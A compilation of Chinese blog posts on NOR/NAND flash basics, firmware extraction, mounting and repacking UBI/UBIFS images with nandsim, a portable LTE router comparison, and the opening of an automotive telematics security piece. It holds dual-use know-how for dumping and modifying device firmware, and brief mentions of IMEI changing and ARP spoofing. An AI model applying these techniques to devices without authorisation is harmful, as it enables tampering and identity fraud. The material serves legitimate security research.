JEDEC:全称是Joint Electron Device Engineering Council 即电子元件工业联合会。JEDEC是由生产厂商们制定的国际性协议,JEDEC用来帮助程序读取Flash的制造商ID和设备ID,以确定Flash的大小和算法。
注意:不一定所有芯片都遵循这些标准。
NOR Flash 有并行和串行两种,串行一般是SOP封装,使用SPI协议。并行只有极少数BGA封装,一般是TSOP封装,TSOP-56, TFBGA-56, LFBGA-64。
NOR Flash支持随机访问,因此擦除单位是Byte。这里指的是并行信号引脚,NOR的信号线和SRAM基本上是一样的。如果飞线会特别麻烦。
Symbol | Pin Name | Functions |
---|---|---|
A[MAX:0] | Address | 读写操作发送的地址数据 |
DQ[7:0] | Data Inputs/Outputs | 用于输入输出命令和数据。 |
DQ[14:8] | Data Inputs/Outputs | 用于输入输出命令和数据。 |
DQ15/A-1 | Data Inputs/Outputs | 数据或地址输入 |
BYTE# | Byte/word organization select | 选择8位或者16位 |
CE# | Chip Enable | 芯片使能 |
RE# | Read Enable | 读使能,数据在RE#脉冲的下降沿生效。 |
OE# | Output Enable | 输出使能,当OE#是LOW时,读取周期会输出数据。当OE#是HIGH时,数据输出将处于高阻状态 |
WE# | Write Enable | 写使能 |
WP# | Write Protect | 提供意外情况的读、擦除保护,当WP#是低电平时,其他操作将无法进行。 |
RST# | Reset | |
RY/BY# | Read / Busy Output | 如果处于编程、擦除或随机写入操作,R/B#信号将变低,当操作完成时会变回高电平。如果芯片未被选中或输出被禁用时,该信号是漏极开路并处于高阻状态,需要采用上拉电阻。 |
Vcc | Power | 3.3V或1.8V常电 |
Vss | Ground | 接地 |
NC | No Connection | 无连接 |
TSOP-56
NAND Flash属于非易失性存储器,对于嵌入式设备,一般使用SLC,单位是1-bit,是一种浮栅结构,可以捕获电子并且外部绝缘,断电之后可以保留数据。Flash都不支持覆盖,即写入操作只能在空或已擦除的单元内进行。
擦除方法是在源极加正电压利用第一级浮空栅与漏极之间的隧道效应,将注入到浮空栅的负电荷吸引到源极。由于利用源极加正电压擦除,因此各单元的源极联在一起,这样,擦除不能按字节擦除,而是全片或者分块擦除。
ONFI标准定义了一些常用的NAND封装,NAND Flash一般是TSOP和BGA的封装,都使用SMT的贴装方式。下图是不同封装的引脚定义。
TSOP-48
BGA-63
NAND Flash并行输入输出,一般是8位I/O,也就是x8。图中具有上划线的引脚(在这里使用"#"号表示),是低电平有效,该引脚默认应该是上拉的状态。
Symbol | Pin Name | Functions |
---|---|---|
I/O x | Data Inputs/Outputs | 用于输入输出命令、地址和数据。如果芯片未被选中或输出被禁用时,I/O口将处于高阻状态。 |
CLE | Command Latch Enable | 指令锁存使能,当CLE为高时,在WE#脉冲的上升沿,指令被锁存到NAND指令寄存器中 |
ALE | Address Latch Enable | 地址锁存使能,当ALE为高时,在WE#脉冲的上升沿,地址被锁存到NAND地址寄存器中。 |
CE# | Chip Enable | 芯片使能,如果没有检测到CE信号,那么,NAND器件就保持待机模式,不对任何控制信号作出响应。 |
RE# | Read Enable | 读使能,数据在RE#脉冲的下降沿生效。 |
WE# | Write Enable | 写使能,WE#负责将数据、地址或指令写入NAND之中。这些操作将在WE#脉冲上升沿生效。 |
WP# | Write Protect | 提供意外情况的读、擦除保护,当WP#是低电平时,其他操作将无法进行。 |
R/B# | Read / Busy Output | 如果NAND处于编程、擦除或随机写入操作,R/B#信号将变低,当操作完成时会变回高电平。如果芯片未被选中或输出被禁用时,该信号是漏极开路并处于高阻状态,需要采用上拉电阻。 |
Vcc | Power | 3.3V或1.8V常电 |
Vss | Ground | 接地 |
NC | No Connection | 无连接 |
ESMT厂商的某款8位NAND的阵列组织如下,一页有2048存储+64Cache字节,一个块含有64个页,该NAND Flash有1024个块,加上Cache就是1056M-bit。也就是128MB容量+4MB的缓存。
这里说的是非扩展存储。固件提取按照读取方式,分为下列几种:脱机读取(Chip-Off),在线读取,内部备份。
内部备份,指拿到了设备权限,从块设备备份数据,或者从I2C、SPI驱动接口读取数据。
在线读取,指在设备上外接工具、使用设备主芯片特有的调试接口,或者是存储芯片的通用接口读取数据。一般准备USB线束,或者使用JLink,USBDM之类的调试工具(也有很多冷门芯片需要特殊调试工具),属于IAP方式提取固件。
脱机读取,把目标存储芯片拆下,使用烧录座和编程器读取。该方式读取成本较高,而且编程器和与芯片相配的主控不一定兼容,因此还要手动修复固件。
在了解了芯片的标准和通信协议后,对于一些冷门的存储芯片,其实可以不依赖编程器。使用STM32、AVR或者树莓派都能完成固件提取工作。
NOR Flash和普通的内存比较像的一点是他们都可以支持随机访问,这使它也具有支持片内执行(XIP, eXecute In Place)的特性,可以像普通ROM一样执行程序。这点让它成为BIOS等开机就要执行的代码的绝佳载体。
与NOR Flash不同的是,NAND不支持XIP,因此不能存放最开始的Bootloader。
最早的手机等设备之中既有NOR Flash也有NAND Flash。NOR Flash很小,因为支持XIP,所以负责初始化系统并提供NAND Flash的驱动,类似Bootloader。而NAND Flash则存储数据和OS镜像。三星最早提出NOR less的概念,在它的CPU on die ROM中固化了NAND Flash的驱动,会把NAND flash的开始一小段拷贝到内存低端作为bootloader,这样昂贵的NOR Flash就被节省下来了,降低了手机主板成本和复杂度。渐渐NOR Flash在手机中慢慢消失了。
NAND Flash相对NOR Flash更可能发生比特翻转,就必须采用错误探测/错误更正(EDC/ECC)算法,同时NAND Flash随着使用会渐渐产生坏块;通常需要有一个特殊的软件层,实现坏块管理、擦写均衡、ECC、垃圾回收等的功能,这一个软件层称为 FTL(Flash Translation Layer)。根据 FTL 所在的位置的不同,可以把 Flash Memory 分为 Raw Flash 和 Managed Flash 两类:
最早大家都是使用Raw Flash,FTL全由驱动程序实现。后来发展到SD和eMMC等,则由硬主控实现。
因此要读取原始NAND,还要考虑坏块管理,擦写平衡,ECC等功能。
其中ECC是最难的地方,因为从编程器读取NAND很大可能会出现错误,需要纠错。大部分NAND Flash使用了硬件ECC,算法由硬件决定,对于SLC颗粒,一般使用hanming,BCH之类的算法,这些实现在网上都没有标准的源码,因此需要特殊途径搞到ECC算法。
根据存储芯片应用特性,可以推断出它的用途是存放Bootloader,是系统,还是临时数据。根据芯片支持的规范,可以读取其中的内容。后续会分享一系列进阶的固件提取知识。
NAND vs. NOR Flash Memory Technology Overview
Understanding Flash: Blocks, Pages and Program / Erases
]]>去年写的,不小心把github仓库弄成私有,Readme没了,重新传了个Readme,觉得有点不好意思。先把这篇文章放出来吧
UBI(Unsorted Block Images)全称未分类块镜像。由IBM公司设计,是一个基于Raw Flash设备的卷管理系统,可以在单个物理设备上管理多个逻辑卷,并且支持耗损均衡(wear-leveling)。广泛应用于嵌入式设备。
提到Raw Flash,就要解释一下什么是MTD(Memory Technology Device)。MTD是用于访问Memory设备(尤其是Flash设备)的一个Linux子系统,作为硬件和文件系统之间的抽象层。以NAND Flash为例,MTD对NAND flash封装,为上层文件系统驱动提供抽象接口。MTD设备由擦除块(Eraseblocks)组成,MTD驱动提供了读写和擦除三种操作,但是在修改每个块之前都要先擦除。
UBI有点像LVM(Logical Volume Management),LVM提供逻辑扇区到物理扇区的映射,而UBI提供逻辑擦除块(LEB)到物理擦除块(PEB)的映射。从上述可知,UBI是以块为单位操作的。
在每个UBI块(非坏块)的头部,有两个长度为64字节的头信息。
在Linux源码/linux/drivers/mtd/ubi目录,ubi-media.h内,有EC header和VID header的定义。
1
2
3
4
5
6
7
8
9
10
11struct ubi_ec_hdr {
__be32 magic; // UBI#
__u8 version; // 01
__u8 padding1[3];
__be64 ec; /* Warning: the current limit is 31-bit anyway! */
__be32 vid_hdr_offset; // VID Header 的偏移
__be32 data_offset; // 数据的偏移
__be32 image_seq; // 物理块序号
__u8 padding2[32];
__be32 hdr_crc; // CRC32
} __packed;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29/*
* UBI volume type constants.
*
* @UBI_DYNAMIC_VOLUME: dynamic volume
* @UBI_STATIC_VOLUME: static volume
*/
enum {
UBI_DYNAMIC_VOLUME = 3,
UBI_STATIC_VOLUME = 4,
};
struct ubi_vid_hdr {
__be32 magic; // UBI!
__u8 version; // 1
__u8 vol_type; // 一般是UBI_DYNAMIC_VOLUME
__u8 copy_flag; // 是否从另一个物理块拷贝过来的(wear-leveling)
__u8 compat; // 卷兼容性
__be32 vol_id; // 卷ID
__be32 lnum; // LEB编号
__u8 padding1[4];
__be32 data_size; // 数据大小
__be32 used_ebs; // 用户LEB数量
__be32 data_pad;
__be32 data_crc;
__u8 padding2[4];
__be64 sqnum; // 序号
__u8 padding3[12];
__be32 hdr_crc; // CRC32
} __packed;
ID为UBI_INTERNAL_VOL_START的卷,专门用来存放分卷表的记录。
1
其中包含卷名
1
2
3
4
5
6
7
8
9
10
11
12struct ubi_vtbl_record {
__be32 reserved_pebs;
__be32 alignment;
__be32 data_pad;
__u8 vol_type;
__u8 upd_marker;
__be16 name_len; // 卷名长度
__u8 name[UBI_VOL_NAME_MAX+1]; // 卷名
__u8 flags;
__u8 padding[23];
__be32 crc; // CRC32
} __packed;
一个MTD设备前面的部分一般用于存放Bootloader,后面用于UBI。下图只是一个简单的举例,实际情况可能是多个UBI和其他分区间接排列。UBI使用fastmap将LEB到映射到乱序的PEB,为UBIFS提供抽象接口。
MTD为提供了直接操作UBI的工具:MTD-Utils
http://git.infradead.org/mtd-utils.git
上面的工具只能操作UBI,而一般电脑上没有MTD设备。当从嵌入式设备提取了原始的Flash固件,想要在电脑上读取,可以使用来模拟一个MTD设备。一般情况下,会使用到NANDSim。
首先看NANDSim的参数,一大堆参数该如何配置呢?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40$ modinfo nandsim
filename: /lib/modules/4.18.10-arch1-1-ARCH/kernel/drivers/mtd/nand/raw/nandsim.ko.xz
description: The NAND flash simulator
author: Artem B. Bityuckiy
license: GPL
srcversion: D2FD00330F9BE30A9B28365
depends: mtd,nand
retpoline: Y
intree: Y
name: nandsim
vermagic: 4.18.10-arch1-1-ARCH SMP preempt mod_unload modversions
sig_id: PKCS#7
signer:
sig_key:
sig_hashalgo: md4
signature:
parm: id_bytes:The ID bytes returned by NAND Flash 'read ID' command (array of byte)
parm: first_id_byte:The first byte returned by NAND Flash 'read ID' command (manufacturer ID) (obsolete) (byte)
parm: second_id_byte:The second byte returned by NAND Flash 'read ID' command (chip ID) (obsolete) (byte)
parm: third_id_byte:The third byte returned by NAND Flash 'read ID' command (obsolete) (byte)
parm: fourth_id_byte:The fourth byte returned by NAND Flash 'read ID' command (obsolete) (byte)
parm: access_delay:Initial page access delay (microseconds) (uint)
parm: programm_delay:Page programm delay (microseconds (uint)
parm: erase_delay:Sector erase delay (milliseconds) (uint)
parm: output_cycle:Word output (from flash) time (nanoseconds) (uint)
parm: input_cycle:Word input (to flash) time (nanoseconds) (uint)
parm: bus_width:Chip's bus width (8- or 16-bit) (uint)
parm: do_delays:Simulate NAND delays using busy-waits if not zero (uint)
parm: log:Perform logging if not zero (uint)
parm: dbg:Output debug information if not zero (uint)
parm: parts:Partition sizes (in erase blocks) separated by commas (array of ulong)
parm: badblocks:Erase blocks that are initially marked bad, separated by commas (charp)
parm: weakblocks:Weak erase blocks [: remaining erase cycles (defaults to 3)] separated by commas e.g. 113:2 means eb 113 can be erased only twice before failing (charp)
parm: weakpages:Weak pages [: maximum writes (defaults to 3)] separated by commas e.g. 1401:2 means page 1401 can be written only twice before failing (charp)
parm: bitflips:Maximum number of random bit flips per page (zero by default) (uint)
parm: gravepages:Pages that lose data [: maximum reads (defaults to 3)] separated by commas e.g. 1401:2 means page 1401 can be read only twice before failing (charp)
parm: overridesize:Specifies the NAND Flash size overriding the ID bytes. The size is specified in erase blocks and as the exponent of a power of two e.g. 5 means a size of 32 erase blocks (uint)
parm: cache_file:File to use to cache nand pages instead of memory (charp)
parm: bbt:0 OOB, 1 BBT with marker in OOB, 2 BBT with marker in data area (uint)
parm: bch:Enable BCH ecc and set how many bits should be correctable in 512-byte blocks (uint)
可以去阅读内核驱动源码来了解NANDSim的实现,这里简单说明一下。首先由nandsim.c 调用nand_base.c中的nand_scan_ident,在nand_detect中会进行Read ID操作,nand_readid_op对NAND发送0x90,0x00。随后在nand_get_manufacturer,匹配厂商ID,最后在nand_scan_tail中初始化NAND芯片,设置各项属性。
NANDFlash的芯片手册会表明ID的具体参数
所以我们需要将ID设定正确,驱动会根据ID自动设置容量,页大小等数据。在NANDSim的参数只需要前四项。
1
2
3
4
5
6
7static u_char id_bytes[8] = {
[0] = CONFIG_NANDSIM_FIRST_ID_BYTE,
[1] = CONFIG_NANDSIM_SECOND_ID_BYTE,
[2] = CONFIG_NANDSIM_THIRD_ID_BYTE,
[3] = CONFIG_NANDSIM_FOURTH_ID_BYTE,
[4 ... 7] = 0xFF,
};
如果需要调整模拟NAND的参数,可以根据芯片手册上的数据表来选择。
一般情况下,嵌入式设备的bootloader等其他分区都会和系统分区放在同一个芯片内。因此需要对NANDSim分区,该芯片的eraseblocks以128KB为单位,也就是0x20000。
写一个脚本来寻找UBI的分布
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29#!/usr/bin/env python3
import sys
import binascii
import struct
if len(sys.argv) < 1:
print("Usage: find_ubi_header.py NAND.bin")
sys.exit(1)
raw_file_path = sys.argv[1]
ubi_header = b'UBI#'
out_of_ubi = True
try:
with open(raw_file_path, 'rb') as raw_file:
rawbin = raw_file.read()
for x in range(0, len(rawbin), 0x20000):
magic = rawbin[x:x+4]
if magic == ubi_header:
if out_of_ubi:
out_of_ubi = False
print("\nUBI offset start:", hex(x))
else:
if not out_of_ubi:
print("UBI offset stop:", hex(x), "\n")
out_of_ubi = True
raw_file.close()
except Exception as e:
print(e)
1
2
3
4
5
6
7
8
9
10$ python find_ubi_header.py NAND.bin
UBI offset start: 0x2e60000
UBI offset stop: 0x6900000
UBI offset start: 0x7700000
UBI offset stop: 0x81c0000
UBI offset start: 0x8200000
UBI offset stop: 0x20000000
512MB = 4096 * 128 KB,该芯片有4K个块。
PN | SA | EA | EC |
---|---|---|---|
xxx | 0x00000000 | 0x02E60000 | 371 |
ubi1 | 0x02E60000 | 0x06900000 | 469 |
foo | 0x06900000 | 0x069C0000 | 6 |
recovery | 0x069C0000 | 0x07700000 | 106 |
ubi2 | 0x07700000 | 0x081C0000 | 86 |
sec | 0x081C0000 | 0x08200000 | 2 |
ubi3 | 0x08200000 | 0x20000000 | 3056 |
加载MTD模块和NANDSim模块
1
2
3sudo modprobe mtd
sudo modprobe mtdblock
sudo modprobe nandsim first_id_byte=0x2c second_id_byte=0xac third_id_byte=0x90 fourth_id_byte=0x15 parts=371,469,6,106,86,2,3056
查看MTD设备的信息,可以看到分区已经创建成功。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100$ mtdinfo -a
Count of MTD devices: 8
Present MTD devices: mtd0, mtd1, mtd2, mtd3, mtd4, mtd5, mtd6, mtd7
Sysfs interface supported: yes
mtd0
Name: NAND 512MiB 1,8V 8-bit
Type: nand
Eraseblock size: 131072 bytes, 128.0 KiB
Amount of eraseblocks: 4096 (536870912 bytes, 512.0 MiB)
Minimum input/output unit size: 2048 bytes
Sub-page size: 512 bytes
OOB size: 64 bytes
Character device major/minor: 90:0
Bad blocks are allowed: true
Device is writable: true
mtd1
Name: NAND simulator partition 0
Type: nand
Eraseblock size: 131072 bytes, 128.0 KiB
Amount of eraseblocks: 371 (48627712 bytes, 46.4 MiB)
Minimum input/output unit size: 2048 bytes
Sub-page size: 512 bytes
OOB size: 64 bytes
Character device major/minor: 90:2
Bad blocks are allowed: true
Device is writable: true
mtd2
Name: NAND simulator partition 1
Type: nand
Eraseblock size: 131072 bytes, 128.0 KiB
Amount of eraseblocks: 469 (61472768 bytes, 58.6 MiB)
Minimum input/output unit size: 2048 bytes
Sub-page size: 512 bytes
OOB size: 64 bytes
Character device major/minor: 90:4
Bad blocks are allowed: true
Device is writable: true
mtd3
Name: NAND simulator partition 2
Type: nand
Eraseblock size: 131072 bytes, 128.0 KiB
Amount of eraseblocks: 6 (786432 bytes, 768.0 KiB)
Minimum input/output unit size: 2048 bytes
Sub-page size: 512 bytes
OOB size: 64 bytes
Character device major/minor: 90:6
Bad blocks are allowed: true
Device is writable: true
mtd4
Name: NAND simulator partition 3
Type: nand
Eraseblock size: 131072 bytes, 128.0 KiB
Amount of eraseblocks: 106 (13893632 bytes, 13.2 MiB)
Minimum input/output unit size: 2048 bytes
Sub-page size: 512 bytes
OOB size: 64 bytes
Character device major/minor: 90:8
Bad blocks are allowed: true
Device is writable: true
mtd5
Name: NAND simulator partition 4
Type: nand
Eraseblock size: 131072 bytes, 128.0 KiB
Amount of eraseblocks: 86 (11272192 bytes, 10.8 MiB)
Minimum input/output unit size: 2048 bytes
Sub-page size: 512 bytes
OOB size: 64 bytes
Character device major/minor: 90:10
Bad blocks are allowed: true
Device is writable: true
mtd6
Name: NAND simulator partition 5
Type: nand
Eraseblock size: 131072 bytes, 128.0 KiB
Amount of eraseblocks: 2 (262144 bytes, 256.0 KiB)
Minimum input/output unit size: 2048 bytes
Sub-page size: 512 bytes
OOB size: 64 bytes
Character device major/minor: 90:12
Bad blocks are allowed: true
Device is writable: true
mtd7
Name: NAND simulator partition 6
Type: nand
Eraseblock size: 131072 bytes, 128.0 KiB
Amount of eraseblocks: 3056 (400556032 bytes, 382.0 MiB)
Minimum input/output unit size: 2048 bytes
Sub-page size: 512 bytes
OOB size: 64 bytes
Character device major/minor: 90:14
Bad blocks are allowed: true
Device is writable: true
通过dmesg可以看到加载的具体信息,包括芯片信息和分区信息。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28$ dmesg
[13202.334289] nand: device found, Manufacturer ID: 0x2c, Chip ID: 0xac
[13202.334290] nand: Micron NAND 512MiB 1,8V 8-bit
[13202.334291] nand: 512 MiB, SLC, erase size: 128 KiB, page size: 2048, OOB size: 64
[13202.334299] flash size: 512 MiB
[13202.334299] page size: 2048 bytes
[13202.334300] OOB area size: 64 bytes
[13202.334300] sector size: 128 KiB
[13202.334301] pages number: 262144
[13202.334301] pages per sector: 64
[13202.334302] bus width: 8
[13202.334302] bits in sector size: 17
[13202.334302] bits in page size: 11
[13202.334303] bits in OOB size: 6
[13202.334304] flash size with OOB: 540672 KiB
[13202.334304] page address bytes: 5
[13202.334304] sector address bytes: 3
[13202.334305] options: 0x8
[13202.334779] Scanning device for bad blocks
[13202.358806] Creating 7 MTD partitions on "NAND 512MiB 1,8V 8-bit":
[13202.358810] 0x000000000000-0x000002e60000 : "NAND simulator partition 0"
[13202.360129] 0x000002e60000-0x000006900000 : "NAND simulator partition 1"
[13202.360835] 0x000006900000-0x0000069c0000 : "NAND simulator partition 2"
[13202.361180] 0x0000069c0000-0x000007700000 : "NAND simulator partition 3"
[13202.363506] 0x000007700000-0x0000081c0000 : "NAND simulator partition 4"
[13202.365146] 0x0000081c0000-0x000008200000 : "NAND simulator partition 5"
[13202.366440] 0x000008200000-0x000020000000 : "NAND simulator partition 6"
也可以通过下面的命令查看MTD分区表
1
2
3
4
5
6
7
8
9
10
11$ sudo cat /proc/mtd
dev: size erasesize name
mtd0: 20000000 00020000 "NAND 512MiB 1,8V 8-bit"
mtd1: 02e60000 00020000 "NAND simulator partition 0"
mtd2: 03aa0000 00020000 "NAND simulator partition 1"
mtd3: 000c0000 00020000 "NAND simulator partition 2"
mtd4: 00d40000 00020000 "NAND simulator partition 3"
mtd5: 00ac0000 00020000 "NAND simulator partition 4"
mtd6: 00040000 00020000 "NAND simulator partition 5"
mtd7: 17e00000 00020000 "NAND simulator partition 6"
MTD0是整个MTD设备,将提取出的固件写入MTD设备,因为是在内存中模拟,所以速度很快。
1
sudo dd if=NAND.bin of=/dev/mtd0 bs=512M count=1
查看ubi模块信息,会发现有mtd参数,实际上使用此参数会出错,因为默认的VID Header长度为512。
1
sudo modprobe ubi mtd=0
1
2
3
4
5
6
7
8
9
10
11
12
13$ dmesg
[38418.429799] ubi0: attaching mtd5
[38418.429924] ubi0 error: validate_ec_hdr [ubi]: bad VID header offset 2048, expected 512
[38418.429937] ubi0 error: validate_ec_hdr [ubi]: bad EC header
[38418.429944] Erase counter header dump:
[38418.429946] magic 0x55424923
[38418.429948] version 1
[38418.429950] ec 5
[38418.429952] vid_hdr_offset 2048
[38418.429953] data_offset 4096
[38418.429955] image_seq 34870392
[38418.429957] hdr_crc 0x11db9c17
因此需要先挂载UBI模块,然后使用MTD-Utils的UBI Attach指定相关参数。
1
2sudo modprobe ubi
sudo ubiattach /dev/ubi_ctrl -m 2 -O 2048
接下来可以看到挂载成功的信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15[43880.484837] ubi0: default fastmap pool size: 20
[43880.484841] ubi0: default fastmap WL pool size: 10
[43880.484843] ubi0: attaching mtd2
[43880.486802] ubi0: attached by fastmap
[43880.486806] ubi0: fastmap pool size: 20
[43880.486808] ubi0: fastmap WL pool size: 10
[43880.491518] ubi0: attached mtd2 (name "NAND simulator partition 1", size 58 MiB)
[43880.491521] ubi0: PEB size: 131072 bytes (128 KiB), LEB size: 126976 bytes
[43880.491523] ubi0: min./max. I/O unit sizes: 2048/2048, sub-page size 512
[43880.491525] ubi0: VID header offset: 2048 (aligned 2048), data offset: 4096
[43880.491527] ubi0: good PEBs: 469, bad PEBs: 0, corrupted PEBs: 0
[43880.491529] ubi0: user volume: 1, internal volumes: 1, max. volumes count: 128
[43880.491532] ubi0: max/mean erase counter: 14/5, WL threshold: 4096, image sequence number: 1328192
[43880.491534] ubi0: available PEBs: 0, total reserved PEBs: 469, PEBs reserved for bad PEB handling: 80
[43880.491617] ubi0: background thread "ubi_bgt0d" started, PID 25777
随后指定文件系统UBIFS进行挂载,可以成功读取到文件系统里的内容。
1
2
3
4
5
6
7$ mkdir /tmp/modem
$ sudo mount -t ubifs ubi0_0 /tmp/modem
$ ls /tmp/image
bdwlan30.bin mba.b03 mba.mdt modem.b03 modem.b08 modem.b12 modem.b16 modem.b22 otp30.bin
mba.b00 mba.b04 modem.b00 modem.b05 modem.b09 modem.b13 modem.b19 modem.b23 qwlan30.bin
mba.b01 mba.b05 modem.b01 modem.b06 modem.b10 modem.b14 modem.b20 modem.b24 utf30.bin
mba.b02 mba.mbn modem.b02 modem.b07 modem.b11 modem.b15 modem.b21 modem.mdt
有时候在UBI之上会使用SquashFS,因此常规的挂载方法会失效
1
2
3
4[ 214.800087] UBIFS error (ubi0:0 pid 3848): ubifs_read_node [ubifs]: bad node type (1 but expected 6)
[ 214.800093] UBIFS error (ubi0:0 pid 3848): ubifs_read_node [ubifs]: bad node at LEB 0:0, LEB mapping status 1
[ 214.800094] Not a node, first 24 bytes:
[ 214.800095] 00000000: 68 73 71 73 46 0c 00 00 5a 9c 25 5d 00 00 02 00 ac 00 00 00 01 00 11 00 hsqsF
这里的hsqs是SquashFS的Magic,因此只需要将UBI用squashfs挂载即可
1
2sudo dd if=/dev/ubi0_0 of=./ubi0_0
unsquashfs ./ubi0_0
卸载操作如下
1
2
3
4sudo umount MOUNTED_DIR
sudo ubidetach /dev/ubi_ctrl -m 0
sudo modprobe -r ubi
sudo modprobe -r nandsim
下载或使用PIP安装,https://github.com/jrspruitt/ubi_reader
1
sudo pip install ubi_reader
先看是否准确识别UBI信息
1
ubireader_display_info [options] path/to/file
完全提取文件,但是遇到其他文件系统就会失败。
1
ubireader_extract_files [options] path/to/file
所以建议先还原PEB到LEB,然后再对其各个卷进行分析。
1
ubireader_extract_images [options] path/to/file
挂载UBIFS之后,有可能需要修改文件重打包,使用dd命令不可行。
首先记住ubiattach命令后的回显,会打印出LEB信息
1
2$ sudo ubiattach /dev/ubi_ctrl -m 7 -O 2048
UBI device number 0, total 240 LEBs (30474240 bytes, 29.1 MiB), available 0 LEBs (0 bytes), LEB size 126976 bytes (124.0 KiB)
总共240个LEB,每个LEB占用12696字节,在mkfs里把ubifs的参数填入,打包成UBIFS。
1
2
3
4
5
6# mtd5
sudo mkfs.ubifs -m 2048 -e 126976 -c 240 -F -r ./UBI_1 rootfs.img
# mtd9
sudo mkfs.ubifs -m 2048 -e 126976 -c 240 -F -r ./UBI_2 rootfs.img
sudo mkfs.ubifs -m 2048 -e 126976 -c 240 -R 1 -x lzo -r ./UBI_1 rootfs.img
sudo mkfs.ubifs -m 2048 -e 126976 -c 240 -x lzo -r ./rootfs rootfs.img
新建ubi_config.ini文件
1
vi ubi_config.ini
vol_size一定要和image的尺寸对应,最后一行为空,否则报错ubinize: error!: cannot load the input ini file "ubi_config.ini"
1
2
3
4
5
6
7
8
9[rootfs]
mode=ubi
image=rootfs.img
vol_id=0
vol_size=9904128
vol_type=dynamic
vol_name=rootfs
vol_alignment=1
vol_flags=autoresize
最后用ubinize生成UBI文件
1
sudo ubinize -o rootfs.ubi -p 131072 -m 2048 -s 512 -e 2 -Q 0 -O 2048 -x1 ubi_config.ini
-e 是擦除块的数量,默认是0,可以用binwalk快速查看-Q 是映像的顺序号,可用ubi_display_info查看-x 是UBI的版本,默认是1-s 是子页大小,不是所有的NAND都有子页,一般来说SLC颗粒的2048字节的NAND页是由4个512字节的子页组成,MLC没有子页-m 是页大小-p 是物理块大小,一个物理块一般有64页,参考NAND Flash手册
下面是给mtd7烧写rootfs.ubi
1
2sudo ubinize -v -o rootfs.ubi -p 131072 -m 2048 -s 512 -O 2048 ubi_config.ini
sudo ubiformat /dev/mtd7 -O 2048 -s 512 -f rootfs.ubi
如果是SquashFS的文件系统,那么不需要构建ubifs,在修改完系统内容后,直接用mksquashfs打包SquashFS,一定要用相应的权限打包,如果目标系统是root,那么就在root下打包。后续操作就是用ubinize打包成UBI。
1
sudo mksquashfs ./squashfs-root/* rootfs.squashfs
Memory Technology DevicesUBI - Unsorted Block Images挂载和反向制作 ubi 镜像
]]>外壳
在侧面有很特别的出风口,跟眼睛一样o皿o,里面有风扇的形状,又丑又没用。
拆机之后,可以看到简陋的电池黏在外壳上,用一张墨绿色的纸挡住
首先E5885L使用了HiSilicon LTE Cat6的芯片集,基带的型号是hi6932,这个基带芯片实际上还用于车规级的芯片919系列,至少性能是值得肯定的。但是,车规级芯片如果作为NAD,网络负载压力也十分地小,便携路由方案的RAM要比车规级小很多。一旦负载量增大,便会出现网络不稳定的问题,这种场景主要还是容易发生在测试过程中。
某些场景需要两个RJ45接口,E5885L就不能满足了,但是GL-MIFI有两个RJ45接口,并且WAN口可以配置成LAN口。十分灵活
有时需要进行ARP欺骗,因为E5885L的配置,导致不能成功实现。
E5885L修改IMEI要重启系统才能生效,而GL-MIFI的处理器和基带芯片是分开的,因此只需要重置4G模块就能生效
GL-MIFI支持USB外接3G/4G Modem,很多时候,PC无法使用Modem拨号、有可能是驱动不支持,有可能是pppd配置不正确,此时,我们能把目标Modem放到GL-MIFI上面识别,可以免去E-SIM飞线的工作。
内部天线也是贴在外壳上,GL-MIFI使用的是移远EC20 4G模块,Mini PCI-E接口,国内版使用EC20-CEHCLG型号,仅支持上网,不能拨打电话。
在PCB上引出了许多AR9331的GPIO引脚,有助于开发IoT应用。
1
2
3
4
5/dev/ttyUSB0 DM
/dev/ttyUSB1 GPS NMEA message output
/dev/ttyUSB2 AT commands
/dev/ttyUSB3 PPP connection or AT commands
wwan0 (QMI mode)USB network adapter
在Web界面提供了快速AT命令的插件。
很方便的进行基础操作
修改IMEI非常方便
支持配置APN,非常方便
默认开放SSH服务,基于OpenWRT编译,gl.inet提供的软件源速度快。
https://forum.gl-inet.com/t/mifi-install-package-on-external-storage-usb-or-sd-card/4332
可以查询官方提供的MIFI的通信模组使用教程
https://github.com/domino-team/docs/blob/master/docs/mini/mifi.md
Osmocom也有移远EC20的hack说明
https://osmocom.org/projects/quectel-modems/wiki/EC20
新版固件已经禁用了AT+QLINUXCMD,所以不能直接发送命令
]]>在车联网领域,TCU(Telematics control unit)是联网汽车不可缺少的一个单元(也叫T-Box,Telematics Box),TCU 的联网功能由通信模组实现(也称作 M2M 模块),通信模组使用的基带芯片几乎都支持全网通,选择网络 运营商更加灵活。
在研究车联网的4年时间里,我们已经完成了几十款国产主流汽车Telematics的安全研究,对多家主机厂和 Tier 1 的 TCU 的安全性做了分析,也更加深入了解到了目前国内汽车使用的TCU产品的安全现状。通信模组作为车辆对外互联网的通信接口,是最需要做好安全重视的地方,因为范围最广的远程攻击总是会涉及到通信模组。
Tier1供应商有很多,TCU的产品也不尽相同。然而国内使用的车规级的通信模组却总是这么几款。我们先对这些通信模组的供应商进行简单分类。不管是吹还是黑,对于国内的通信模组供应商,我们不指出具体的厂商名称。
厂商 | 简介 |
---|---|
H厂 | 有多种车规级模组,国内市场占有率很高,技术实力强大,价格较贵 |
Q厂 | 在通信模组领域占据一席之地的厂商,车规级模块主要用在中低端车型,与H厂模块一样好用 |
Z厂 | 主要用在 IoT 设备,也有车规级模组,但占有率很低 |
F厂 | Tier1,模组可能是H厂代工的,主要用在中低端车型, |
L厂 | 中规中矩的厂商 |
S厂 | 市场份额很大的通信模组厂商,在车联网领域份额不高 |
Sierra | 规模很大的 M2M 无线通信产品和解决方案厂商 |
Telit | 总部设在意大利的泰利特是全球领先的 M2M 无线通信产品和解决方案厂商 |
